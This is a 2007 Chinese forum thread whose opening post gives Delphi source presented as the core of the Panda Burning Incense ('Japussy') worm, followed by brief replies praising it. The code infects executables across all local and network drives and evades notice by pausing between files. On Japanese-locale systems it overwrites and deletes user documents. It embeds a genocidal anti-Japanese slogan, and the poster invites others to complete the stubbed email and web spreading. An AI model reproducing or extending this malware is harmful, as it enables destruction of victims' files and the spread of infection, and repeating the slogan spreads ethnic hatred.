找回密码
 注册
广告投放 虚位以待【阿里云】2核2G云新老同享 99元/年,续费同价做网站就用糖果主机-sugarhosts.comJtti.com-新加坡服务器,美国服务器,香港服务器
查看: 2238|回复: 5

熊猫烧香核心源码

[复制链接]
发表于 2007 年 2 月 17 日 20:30:05 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?注册

×
  1. 熊猫烧香核心源码 program Japussy;  
  2. uses  
  3. Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};  
  4. const  
  5. HeaderSize = 82432; //病毒体的大小  
  6. IconOffset = $12EB8; //PE文件主图标的偏移量  
  7.   
  8. //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同  
  9. //查找2800000020的十六进制字符串可以找到主图标的偏移量  
  10.   
  11. {
  12. HeaderSize = 38912; //Upx压缩过病毒体的大小
  13. IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

  14. //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
  15. }  
  16. IconSize = $2E8; //PE文件主图标的大小--744字节  
  17. IconTail = IconOffset + IconSize; //PE文件主图标的尾部  
  18. ID = $44444444; //感染标记  
  19.   
  20. //垃圾码,以备写入  
  21. Catchword = 'If a race need to be killed out, it must be Yamato. ' +  
  22. 'If a country need to be destroyed, it must be Japan! ' +  
  23. '*** W32.Japussy.Worm.A ***';  
  24. {$R *.RES}  
  25. function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;   
  26. stdcall; external 'Kernel32.dll'; //函数声明  
  27. var  
  28. TmpFile: string;  
  29. Si: STARTUPINFO;  
  30. Pi: PROCESS_INFORMATION;  
  31. IsJap: Boolean = False; //日文操作系统标记  
  32. { 判断是否为Win9x }  
  33. function IsWin9x: Boolean;  
  34. var  
  35. Ver: TOSVersionInfo;  
  36. begin  
  37. Result := False;  
  38. Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);  
  39. if not GetVersionEx(Ver) then  
  40. Exit;  
  41. if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x  
  42. Result := True;  
  43. end;  
  44. { 在流之间复制 }  
  45. procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;  
  46. dStartPos: Integer; Count: Integer);  
  47. var  
  48. sCurPos, dCurPos: Integer;  
  49. begin  
  50. sCurPos := Src.Position;  
  51. dCurPos := Dst.Position;  
  52. Src.Seek(sStartPos, 0);  
  53. Dst.Seek(dStartPos, 0);  
  54. Dst.CopyFrom(Src, Count);  
  55. Src.Seek(sCurPos, 0);  
  56. Dst.Seek(dCurPos, 0);  
  57. end;  
  58. { 将宿主文件从已感染的PE文件中分离出来,以备使用 }  
  59. procedure ExtractFile(FileName: string);  
  60. var  
  61. sStream, dStream: TFileStream;  
  62. begin  
  63. try  
  64. sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);  
  65. try  
  66. dStream := TFileStream.Create(FileName, fmCreate);  
  67. try  
  68. sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分  
  69. dStream.CopyFrom(sStream, sStream.Size - HeaderSize);  
  70. finally  
  71. dStream.Free;  
  72. end;  
  73. finally  
  74. sStream.Free;  
  75. end;  
  76. except  
  77. end;  
  78. end;  
  79. { 填充STARTUPINFO结构 }  
  80. procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);  
  81. begin  
  82. Si.cb := SizeOf(Si);  
  83. Si.lpReserved := nil;  
  84. Si.lpDesktop := nil;  
  85. Si.lpTitle := nil;  
  86. Si.dwFlags := STARTF_USESHOWWINDOW;  
  87. Si.wShowWindow := State;  
  88. Si.cbReserved2 := 0;  
  89. Si.lpReserved2 := nil;  
  90. end;  
  91. { 发带毒邮件 }  
  92. procedure SendMail;  
  93. begin  
  94. //哪位仁兄愿意完成之?  
  95. end;  
  96. { 感染PE文件 }  
  97. procedure InfectOneFile(FileName: string);  
  98. var  
  99. HdrStream, SrcStream: TFileStream;  
  100. IcoStream, DstStream: TMemoryStream;  
  101. iID: LongInt;  
  102. aIcon: TIcon;  
  103. Infected, IsPE: Boolean;  
  104. i: Integer;  
  105. Buf: array[0..1] of Char;  
  106. begin  
  107. try //出错则文件正在被使用,退出  
  108. if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染  
  109. Exit;  
  110. Infected := False;  
  111. IsPE := False;  
  112. SrcStream := TFileStream.Create(FileName, fmOpenRead);  
  113. try  
  114. for i := 0 to $108 do //检查PE文件头  
  115. begin  
  116. SrcStream.Seek(i, soFromBeginning);  
  117. SrcStream.Read(Buf, 2);  
  118. if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记  
  119. begin  
  120. IsPE := True; //是PE文件  
  121. Break;  
  122. end;  
  123. end;  
  124. SrcStream.Seek(-4, soFromEnd); //检查感染标记  
  125. SrcStream.Read(iID, 4);  
  126. if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染  
  127. Infected := True;  
  128. finally  
  129. SrcStream.Free;  
  130. end;  
  131. if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出  
  132. Exit;  
  133. IcoStream := TMemoryStream.Create;  
  134. DstStream := TMemoryStream.Create;  
  135. try  
  136. aIcon := TIcon.Create;  
  137. try  
  138. //得到被感染文件的主图标(744字节),存入流  
  139. aIcon.ReleaseHandle;  
  140. aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);  
  141. aIcon.SaveToStream(IcoStream);  
  142. finally  
  143. aIcon.Free;  
  144. end;  
  145. SrcStream := TFileStream.Create(FileName, fmOpenRead);  
  146. //头文件  
  147. HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);  
  148. try  
  149. //写入病毒体主图标之前的数据  
  150. CopyStream(HdrStream, 0, DstStream, 0, IconOffset);  
  151. //写入目前程序的主图标  
  152. CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);  
  153. //写入病毒体主图标到病毒体尾部之间的数据  
  154. CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);  
  155. //写入宿主程序  
  156. CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);  
  157. //写入已感染的标记  
  158. DstStream.Seek(0, 2);  
  159. iID := $44444444;  
  160. DstStream.Write(iID, 4);  
  161. finally  
  162. HdrStream.Free;  
  163. end;  
  164. finally  
  165. SrcStream.Free;  
  166. IcoStream.Free;  
  167. DstStream.SaveToFile(FileName); //替换宿主文件  
  168. DstStream.Free;  
  169. end;  
  170. except;  
  171. end;  
  172. end;  
  173. { 将目标文件写入垃圾码后删除 }  
  174. procedure SmashFile(FileName: string);  
  175. var  
  176. FileHandle: Integer;  
  177. i, Size, Mass, Max, Len: Integer;  
  178. begin  
  179. try  
  180. SetFileAttributes(PChar(FileName), 0); //去掉只读属性  
  181. FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件  
  182. try  
  183. Size := GetFileSize(FileHandle, nil); //文件大小  
  184. i := 0;  
  185. Randomize;  
  186. Max := Random(15); //写入垃圾码的随机次数  
  187. if Max < 5 then  
  188. Max := 5;  
  189. Mass := Size div Max; //每个间隔块的大小  
  190. Len := Length(Catchword);  
  191. while i < Max do  
  192. begin  
  193. FileSeek(FileHandle, i * Mass, 0); //定位  
  194. //写入垃圾码,将文件彻底破坏掉  
  195. FileWrite(FileHandle, Catchword, Len);  
  196. Inc(i);  
  197. end;  
  198. finally  
  199. FileClose(FileHandle); //关闭文件  
  200. end;  
  201. DeleteFile(PChar(FileName)); //删除之  
  202. except  
  203. end;  
  204. end;  
  205. { 获得可写的驱动器列表 }  
  206. function GetDrives: string;  
  207. var  
  208. DiskType: Word;  
  209. D: Char;  
  210. Str: string;  
  211. i: Integer;  
  212. begin  
  213. for i := 0 to 25 do //遍历26个字母  
  214. begin  
  215. D := Chr(i + 65);  
  216. Str := D + ':';  
  217. DiskType := GetDriveType(PChar(Str));  
  218. //得到本地磁盘和网络盘  
  219. if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then  
  220. Result := Result + D;  
  221. end;  
  222. end;  
  223. { 遍历目录,感染和摧毁文件 }  
  224. procedure LoopFiles(Path, Mask: string);  
  225. var  
  226. i, Count: Integer;  
  227. Fn, Ext: string;  
  228. SubDir: TStrings;  
  229. SearchRec: TSearchRec;  
  230. Msg: TMsg;  
  231. function IsValidDir(SearchRec: TSearchRec): Integer;  
  232. begin  
  233. if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and  
  234. (SearchRec.Name <> '..') then  
  235. Result := 0 //不是目录  
  236. else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and  
  237. (SearchRec.Name <> '..') then  
  238. Result := 1 //不是根目录  
  239. else Result := 2; //是根目录  
  240. end;  
  241. begin  
  242. if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then  
  243. begin  
  244. repeat  
  245. PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑  
  246. if IsValidDir(SearchRec) = 0 then  
  247. begin  
  248. Fn := Path + SearchRec.Name;  
  249. Ext := UpperCase(ExtractFileExt(Fn));  
  250. if (Ext = '.EXE') or (Ext = '.SCR') then  
  251. begin  
  252. InfectOneFile(Fn); //感染可执行文件   
  253. end  
  254. else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then  
  255. begin  
  256. //感染HTML和ASP文件,将Base64编码后的病毒写入  
  257. //感染浏览此网页的所有用户  
  258. //哪位大兄弟愿意完成之?  
  259. end  
  260. else if Ext = '.WAB' then //Outlook地址簿文件  
  261. begin  
  262. //获取Outlook邮件地址  
  263. end  
  264. else if Ext = '.ADC' then //Foxmail地址自动完成文件  
  265. begin  
  266. //获取Foxmail邮件地址  
  267. end  
  268. else if Ext = 'IND' then //Foxmail地址簿文件  
  269. begin  
  270. //获取Foxmail邮件地址  
  271. end  
  272. else   
  273. begin  
  274. if IsJap then //是倭文操作系统  
  275. begin  
  276. if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or  
  277. (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or  
  278. (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or  
  279. (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or  
  280. (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or  
  281. (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then  
  282. SmashFile(Fn); //摧毁文件  
  283. end;  
  284. end;  
  285. end;  
  286. //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑  
  287. Sleep(200);  
  288. until (FindNext(SearchRec) <> 0);  
  289. end;  
  290. FindClose(SearchRec);  
  291. SubDir := TStringList.Create;  
  292. if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then  
  293. begin  
  294. repeat  
  295. if IsValidDir(SearchRec) = 1 then  
  296. SubDir.Add(SearchRec.Name);  
  297. until (FindNext(SearchRec) <> 0);  
  298. end;  
  299. FindClose(SearchRec);  
  300. Count := SubDir.Count - 1;  
  301. for i := 0 to Count do  
  302. LoopFiles(Path + SubDir.Strings + '', Mask);  
  303. FreeAndNil(SubDir);  
  304. end;  
  305. { 遍历磁盘上所有的文件 }  
  306. procedure InfectFiles;  
  307. var  
  308. DriverList: string;  
  309. i, Len: Integer;  
  310. begin  
  311. if GetACP = 932 then //日文操作系统  
  312. IsJap := True; //去死吧!  
  313. DriverList := GetDrives; //得到可写的磁盘列表  
  314. Len := Length(DriverList);  
  315. while True do //死循环  
  316. begin  
  317. for i := Len downto 1 do //遍历每个磁盘驱动器  
  318. LoopFiles(DriverList + ':', '*.*'); //感染之  
  319. SendMail; //发带毒邮件  
  320. Sleep(1000 * 60 * 5); //睡眠5分钟  
  321. end;  
  322. end;  
  323. { 主程序开始 }  
  324. begin  
  325. if IsWin9x then //是Win9x  
  326. RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程  
  327. else //WinNT  
  328. begin  
  329. //远程线程映射到Explorer进程  
  330. //哪位兄台愿意完成之?  
  331. end;  
  332. //如果是原始病毒体自己  
  333. if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then  
  334. InfectFiles //感染和发邮件  
  335. else //已寄生于宿主程序上了,开始工作  
  336. begin  
  337. TmpFile := ParamStr(0); //创建临时文件  
  338. Delete(TmpFile, Length(TmpFile) - 4, 4);  
  339. TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格  
  340. ExtractFile(TmpFile); //分离之  
  341. FillStartupInfo(Si, SW_SHOWDEFAULT);  
  342. CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,  
  343. 0, nil, '.', Si, Pi); //创建新进程运行之  
  344. InfectFiles; //感染和发邮件  
  345. end;  
  346. end.

复制代码
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
发表于 2007 年 2 月 21 日 22:59:11 | 显示全部楼层
【腾讯云】2核2G云服务器新老同享 99元/年,续费同价
这个强啊!是真的吗?
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2007 年 2 月 24 日 10:22:50 | 显示全部楼层

这个咱喜欢 没事改着玩
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2007 年 2 月 25 日 11:20:45 | 显示全部楼层
强人。。就这么一点
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2007 年 3 月 31 日 16:02:25 | 显示全部楼层

回复 #4 weeks 的帖子

老大不是说了吗?核心
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2007 年 3 月 31 日 21:15:40 | 显示全部楼层
这代码很强,先收下,有时间研究下!谢谢
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|金光论坛

GMT+8, 2025 年 2 月 4 日 18:43 , Processed in 0.030057 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表